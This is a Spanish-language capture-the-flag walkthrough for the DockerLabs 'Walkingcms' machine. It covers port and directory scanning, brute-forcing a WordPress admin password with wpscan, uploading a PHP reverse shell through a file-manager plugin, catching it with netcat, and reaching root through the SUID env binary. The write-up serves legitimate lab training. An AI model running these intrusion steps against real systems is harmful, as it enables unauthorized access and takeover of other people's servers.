Walkingcms - DockerLabs
| OS | Dificultad | Creator |
|---|---|---|
| Linux | Fácil | El Pingüino de Mario |
Reconocimiento
Comenzamos el proceso de reconocimiento identificando los puertos abiertos en el sistema objetivo.
sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG ports
-p-: Escanea todos los puertos (1-65535).--open: Solo muestra los puertos abiertos.-sS: Realiza un escaneo SYN, que es rápido y discreto.--min-rate=5000: Envía al menos 5000 paquetes por segundo, acelerando el escaneo.-n: No realiza resolución DNS.-Pn: No realiza ping previo para determinar si el host está activo.-vvv: Muestra resultados detallados y en tiempo real.
Durante el escaneo, descubrimos que los siguientes puertos están activos:
80(HTTP) A continuación, evaluamos si los puertos abiertos presentan alguna vulnerabilidad, además de obtener más información sobre los servicios asociados a esos puertos.nmap -p80 -sCV 172.17.0.2 -oG targeted
Exploración Web
Al analizar el puerto 80, encontramos la página por defecto de Apache.
Utilizamos Gobuster para realizar un reconocimiento web y explorar los directorios disponibles en el sitio.
gobuster dir -u http://172.17.0.2 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,doc,html,txt,img
gobuster dir- Indica que estás utilizando la herramienta Gobuster para realizar un escaneo de directorios.-u http://172.17.0.2/Especifica la URL objetivo que deseas escanear en busca de directorios.-wEspecifica que diccionario queremos usar-xPara indicar que tipo de extension queremos que nos encuentre
Identificamos la ruta /wordpress.
Wordpress
Utilizamos wpscan para investigar vulnerabilidades y usuarios en el sitio de WordPress:
wpscan --url http://172.17.0.2/wordpress -e
Descubrimos al usuario mario, y procedimos a realizar fuerza bruta para acceder con su cuenta.
Fuerza bruta.
Usamos la herramienta wpscan con el diccionario rockyou.txt para intentar descubrir la contraseña:
wpscan --url http://172.17.0.2/wordpress -U mario -P /usr/share/wordlists/rockyou.txt
Encontramos que la contraseña de mario es love.
Al acceder con mario, observamos que tiene privilegios de administrador, lo cual nos permite añadir el plugin FILE MANAGER para cargar un archivo shell.php y acceder mediante una reverse shell.
Reverse Shell
Creamos un archivo shell.php cargado con una reverse shell usando la herramienta de Reverseshell de Pentest Monkey.
Una vez subido, accedemos a la ruta /wordpress/shell.php para ejecutar la shell.
Simultáneamente, iniciamos netcat en nuestro sistema para escuchar conexiones entrantes:
nc -lvnp 4444
Al acceder a la reverse shell desde el navegador, logramos obtener acceso como www-data.
Logramos acceso como www-data.
TTY ReverseShell
Iniciar una sesión de shell interactiva
En nuestra shell básica, ejecutamos el siguiente comando para forzar la creación de una sesión de bash interactiva:
script /dev/null -c bash
Suspender la shell
Una vez que el comando anterior está en ejecución, utilizamos
Control+Z
para suspender temporalmente nuestra shell.
Preparar nuestro terminal local:
Antes de volver a nuestra shell, configuramos nuestro terminal local:
stty raw -echo; fg
Resetear la configuración del terminal
Ahora que tenemos el control de la shell, la reseteamos para asegurar que se comporta correctamente:
reset
Configura el tipo de terminal:
xterm
export TERM=xterm
export SHELL=bash
Escalada de Privilegios
Ejecutamos el siguiente comando para encontrar archivos con permisos SUID, que pueden ayudar en la escalada de privilegios:
find / -perm -4000 2>/dev/null
Descubrimos que podemos ejecutar el comando env con permisos de root, lo cual aprovechamos de la siguiente manera:
/usr/bin/env /bin/sh -p
Ahora, hemos escalado privilegios a root.